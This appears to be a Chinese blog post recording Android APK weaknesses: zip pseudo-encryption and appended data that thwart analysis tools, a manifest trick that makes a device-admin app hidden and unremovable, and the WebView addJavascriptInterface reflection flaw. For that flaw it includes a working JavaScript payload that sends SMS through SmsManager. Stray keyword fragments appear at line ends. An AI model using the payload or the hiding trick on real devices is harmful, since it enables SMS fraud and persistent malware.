apk漏洞記錄1:僞加密+設備管理器不可刪+webview漏洞

僞加密1:apk打開須要密碼javascript

成因:修改zip的頭,把文件的加密標誌設置爲ture,還原就把加密標誌設置爲false.利用了Android處理zip文件不判斷頭裏的加密信息,其餘壓縮軟件,java默認實現的zip api都有檢測zip頭中的加密信息 java


僞加密2:apk壓縮文件被破壞android

成因:APKPC上面能夠看做一個壓縮文件,在Android系統裏面它就是一個手機系統軟件文件。Android系統對APK的識別是從標誌頭到標誌尾,其餘多餘數據都會無視。因此說在標誌尾添加其餘數據對把APK看作壓縮文件的PC端來講這個文件被破壞了,因此你要對其進行解壓或者查看都會提示文件已損壞,用反編譯工具也會提示文件已損壞,可是它卻不會影響在Android系統裏面的正常運行和安裝並且也能兼容到全部系統。使用壓縮文件修復工具也能把它修復好讓咱們作的保護消失。web



設備管理器不可刪除:某app申請到了設備管理器權限後,在設備管理列表隱身,而且不可被卸載,如obadapi

成因:安全

<receiver android:name="LockListener"
            android:permission="android.permission.BIND_DEVICE_ADMIN">  
            <meta-data android:name="android.app.device_admin"
                      android:resource="@xml/lock_screen" />
        <intent-filter>  
               <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"  />
        </intent-filter>  
       
        </receiver> 
app

若是去掉上面的<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"  /> ,android仍是容許app註冊成爲設備管理器,可是此app會在設備管理列表隱身,且不可被取消設備管理器權限。函數


webview漏洞:  Android系統經過WebView.addJavascriptInterface方法註冊可供javascript調用的java對象,以用於加強javascript的功能。可是系統並無對註冊JAVA類的方法調用的限制。致使攻擊者能夠利用反射機制調用未註冊的其它任何JAVA類,最終致使javascript能力的無限加強。工具

舉例:加密

咱們利用該漏洞調用SmsManager發送短信(被攻擊APK要有短信發送權限)

         WebView webview = new WebView(context);

         WebSettings webset= webview.getSettings();
         webset.setJavaScriptEnabled(true);
         webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

         利用該漏洞的外部javascript腳本:

         <script>

               var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

               obj_smsManager.sendTextMessage("159********",null,"test",null,null);

         </script>


    出於安全考慮,爲了防止Java層的函數被隨便調用,Google在4.2版本以後,規定容許被調用的函數必須以@JavascriptInterface進行註解,因此若是某應用依賴的API Level爲17或者以上,就不會受該問題的影響(注:Android 4.2中API Level小於17的應用也會受影響)。

相關文章
相關標籤/搜索